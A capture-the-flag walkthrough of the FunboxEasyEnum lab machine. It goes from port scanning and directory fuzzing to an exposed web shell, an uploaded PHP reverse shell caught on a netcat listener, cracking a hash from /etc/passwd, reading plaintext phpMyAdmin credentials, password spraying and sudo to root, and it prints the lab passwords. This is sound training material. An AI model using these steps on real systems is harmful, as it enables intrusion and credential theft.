# FunboxEasyEnum Walkthrough

## Introduction

Welcome! I'm Koushik, a Security Engineer, and in this guide, we'll be tackling FunboxEasyEnum, a beginner-friendly Linux machine from OffSec Proving Grounds Play. My goal here is to give you more than just a quick flag, I'll be demonstrating the complete, end-to-end enumeration methodology. In this walkthrough, you will learn how to uncover hidden web shells through targeted extension fuzzing, recognize and pivot past password-cracking rabbit holes, and leverage configuration file auditing with password reuse to escalate privileges to root.

# 1\. Reconnaissance & Enumeration

## Nmap Scan Result

To gain insight into the network, start with an nmap scan to identify open ports and potential vulnerabilities.

Used

`-T4` - Accelerate scans by reducing timeouts and probe delays.

`-Pn` - Skip host discovery and treat the target as completely online.

`-vv` - Increases verbosity to level 2 (double verbosity), making Nmap print open ports and scan progress in real time rather than waiting until the entire scan finishes.

`-p-` - Scan all 65535 ports.

`-oN` - Save the scan output in normal, human-readable format to a specified file.

```bash
nmap -T4 -Pn -vv -p- 192.168.146.132 -oN nmap.txt
```

**Output**

```bash
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61
```

### Nmap deep scan for open ports

Used

`-A` - This flag in Nmap enables an aggressive scan that combines OS detection (`-O`), service version detection (`-sV`), default NSE script scanning (`-sC`), and traceroute (`--traceroute`) into a single command.

```bash
nmap -T4 -Pn -vv -p 22,80 -A 192.168.146.132 -oN nmap_deep.txt
```

**Output**

```bash
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 bb:8f:1a:df:61:37:5d:65:05:f0:60:c3:bf:1b:4e:58 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2TTon4+ZLKkeM9ps3J5/JVQv2t1eSkTW+QkcZWgGINTv49nyXUeis4EuRY0a8UjLHHyICTi0/n+oe7cP3Dbz2nF7ECDki2nOgZsL1Sd8bmYbUgZAf9sg2Mqtbpfily5OKhqHHCBk9ZiqDhCphKAhd7l9Tj3xp8cXHojdgxfRTeu3Z5JaWVtxieH4xQ1+o8f0PC8u1npQHxut8xcRqIGJxVohOkAliU8IJpmWBuS9GWcaSQY1em13fgC6ciXXKD41M/fOWNoxxeZsfi4fMp+XmkZqHdRC3OO9UukcaFokxJUsaWY/d1Su1pcgFDfJG8/RuhbW/HZ3la1Y4YAa4OgP7
|   256 b2:13:0d:3f:c3:37:58:a9:2c:ee:ad:12:d9:d7:9e:2e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH3JbKLxnqKSYPFnPGMh6/Ox2LiXVkuuf4VD4T9UwLN8fKWEswryBGUPtkiOz3GONXunPEj4Xm06GVcQoFwSTDQ=
|   256 d8:96:55:74:76:dc:04:ee:7e:e5:20:e9:6f:9c:b7:44 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDfdGCTQlWePVwWtsFFdNXTOBX8MQy1uvn3zDI2grGTN
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 2.6.32 - 3.13 (96%), Linux 5.0 - 5.14 (96%), Linux 3.2 - 4.14 (96%), Linux 4.15 - 5.19 (96%), Linux 2.6.32 - 3.10 (96%), Linux 4.15 (95%), Linux 3.10 - 4.11 (95%), Linux 2.6.32 - 3.5 (93%), HP P2000 G3 NAS device (93%), MikroTik RouterOS 6.36 - 6.48 (Linux 3.3.5) (92%)
```

## Web Server Enumeration (Port 80)

Here is the default Apache2 Debian page with no obvious functionality.

![Pasted image 20261125224342](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/5cc924b9-45dc-4bb5-9756-9b4449da1f93.png align="center")

So it is a good time to do directory busting.

### Directory Bruteforce with Feroxbuster

Used

`--url` - Sets the target base URL (short flag: -u).

`-x` - Appends specified extensions to every word in the wordlist.

`-w` - Specifies the path to the wordlist file.

```bash
feroxbuster --url http://192.168.182.132 -x php txt zip -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
```

![Pasted image 20250402232857](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/d862f7b6-a61c-420f-85ff-b2503a51f7e1.png align="center")

Found `/mini.php`, looks interesting

We navigated to `http://192.168.146.132/mini.php` and got `Zerion Mini Shell 1.0` where we can upload any file and read or delete any file present.

![Pasted image 20261125225021](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/5c64e453-8e92-4084-9350-c7dcf81c5e19.png align="center")

Now we are going to next step.

# 2\. Initial Access

Since `mini.php` is actively executing server-side code and rendering live directory contents from `/var/www/html/`, we know the Apache server is configured to parse PHP.

> **How to Verify PHP Execution Support?**
>
> - **Live Rendering:** Requesting a `.php` file executes server-side logic instead of exposing raw source code.
> - **Headers & Cookies:** `curl -I <url>` or Burp Suite reveals `X-Powered-By: PHP` headers or `PHPSESSID` cookies.
> - **Fingerprinting & Fuzzing:** Browser extensions like `Wappalyzer`, CLI tools like `whatweb <url>`, or directory fuzzing with Feroxbuster (`-x php`) confirm active PHP support.

Using the web shell's upload feature, we can upload a standard PHP reverse shell into the web root and trigger it via the browser to catch a shell on our listener.

> If you don't know, Kali Linux already includes a built-in PHP reverse shell at `/usr/share/webshells/php/php-reverse-shell.php`.

Copy it to your working directory and update the `$ip` and `$port` variables inside the script to match your Kali machine's `tun0` IP address and the port where you want to catch the reverse shell.

```bash
cp /usr/share/webshells/php/php-reverse-shell.php .
subl php-reverse-shell.php
```

Save it

![Pasted image 20261125225229](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/fde73727-af7e-460e-af8f-55e6d4ceac55.png align="center")

Rename it to a shorter name for ease of use.

```bash
mv php-reverse-shell.php shell.php
```

Upload it.

![Pasted image 20261125225428](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/c9bdb6f9-bec3-4471-957d-79e93488216b.png align="center")

Start a listener for an incoming reverse shell. I am using `nc` and `rlwrap` to make it more stable and easier to use.

**On Local Machine**

```bash
rlwrap -f . -r nc -nvlp 4444
```

## Shell as www-data

Navigate to `http://192.168.146.132/shell.php` and check the terminal tab. If everything goes well, we will get a reverse shell.

To get a stable tty shell, run

```bash
python3 -c "import pty;pty.spawn('/bin/bash')"
```

![Pasted image 20261125230318](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/74f8957d-9a70-4c21-8737-45914b5df94e.png align="center")

Now let's check how many users are there in the home directory.

```bash
cd /home
ls -al
```

There are total 6 users.

![Pasted image 20261125230343](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/eb9383ed-a3d3-40d7-a859-105bfea22219.png align="center")

Now, let's find where our local flag is using the `find` command and read it.

```bash
find / -type f -name local.txt 2>/dev/null
cat /var/www/local.txt
```

![Pasted image 20261125230125](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/34a1ea1c-6d3f-4073-a6ee-8ed77a06a405.png align="center")

> Found the local flag.

# 3\. Privilege Escalation

Let's read the `passwd` file to check if anything interesting is there. We get a password hash for the `oracle` user.

```bash
cat /etc/passwd
```

![Pasted image 20250402233349](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/607eb068-806a-434a-8fc6-c2a04d427fb8.png align="center")

Copy the password hash and save it in a file on our local machine and let's try to crack the hash using `john`

```bash
mousepad hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
```

![Pasted image 20250402233357](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/349abcdd-7017-41d2-b199-c12a5afcb760.png align="center")

Successfully cracked the password `hiphop`

Login as `oracle` with the password `hiphop`

```bash
su oracle
```

![Pasted image 20261128115129](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/d62575f6-0237-4643-8a35-e147abb8618a.png align="center")

But got nothing interesting.

> This is the rabbit hole here.

Run the `exit` command and we are now back to `www-data` shell.

![Pasted image 20261128115234](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/f4d02323-f16a-480a-a0bc-2ef28faa5df7.png align="center")

> When to check `phpmyadmin/config-db.php`?
>
> - **phpMyAdmin is present on the host:** You spotted `/phpmyadmin` during web enumeration, saw `/etc/phpmyadmin` or `/usr/share/phpmyadmin` on the filesystem, or noticed MySQL/MariaDB running locally (`ss -tulpn` / `netstat`).
> - **You are hunting for credentials and password reuse:** In Debian and Ubuntu systems, `dbconfig-common` automatically stores phpMyAdmin's internal database credentials (`$dbuser` and `$dbpass`) in plaintext inside `/etc/phpmyadmin/config-db.php`, which is often readable by the `www-data` group.

Now check the phpMyAdmin config-db.php file

```bash
cd /etc/phpmyadmin
cat config-db.php
```

![Pasted image 20261128115558](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/054f0168-477d-491f-b401-dd171a852582.png align="center")

Got a username `phpmyadmin` and a password `tgbzhnujm!`

Using this cred to login as `phpmyadmin` isn't Beneficial because the `phpmyadmin` user defined in `config-db.php` only exists inside MySQL/MariaDB, not as an operating system user in `/etc/passwd`.

> **When you get a password, try password spraying**

After some tries, I got another user using the same password named `karla`

![Pasted image 20261128115754](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/acaae805-f8fd-4ee0-93bf-5489b3598d77.png align="center")

Now, the first thing to check is `sudo -l` (short for sudo --list) to check sudo privileges granted to your user account on the current machine, including which commands you can run as root or as any other user, as configured in `/etc/sudoers` and `/etc/sudoers.d/`.

```bash
sudo -l
```

![Pasted image 20261128115839](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/17052ef7-be07-4a51-9dd8-d96a0833e13f.png align="center")

`(ALL : ALL) ALL` means the user (`karla`) can run any command as **any user** or **any group** on that machine (once you enter karla's password).

Now it is very easy, just run bash as a superuser (sudo) and get the shell as `root`

```bash
sudo /bin/bash
```

Read the final flag

```bash
cat /root/proof.txt
```

![Pasted image 20261128120035](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/4d170304-7e6e-476c-b3b4-27d8833fdd02.png align="center")

## 4\. Key Takeaways

- **Extension Fuzzing Uncovers Hidden Attack Surfaces:** Running Feroxbuster with targeted extensions (`-x php`) exposed `/mini.php`, an unprotected web shell that turned a static Apache default page into immediate remote code execution.
- **Recognize and Pivot Past Rabbit Holes:** Cracking the legacy password hash in `/etc/passwd` for `oracle` (`hiphop`) led to a dead end. When a lateral movement path yields nothing, step back and continue local configuration enumeration rather than getting stuck.
- **Audit Service Configuration Files for Credentials:** Plaintext database credentials stored in `/etc/phpmyadmin/config-db.php` are often readable by `www-data` on Debian/Ubuntu hosts. Even when the service account (`phpmyadmin`) isn't a system user, its password is a prime candidate for password spraying across local users.
- **Check** `sudo` **Privileges Immediately After Lateral Movement:** Switching to `karla` via password reuse and running `sudo -l` revealed unrestricted `(ALL : ALL) ALL` permissions, enabling trivial privilege escalation to `root`.

## 5\. Conclusion

**FunboxEasyEnum** is a great reminder that methodical enumeration beats complex exploits. Paying close attention to extension fuzzing, pivoting past rabbit holes, and checking local configuration files for password reuse makes the path to `root` straightforward.

Thanks for reading and taking the time to check this out, I hope it added some value to your journey!
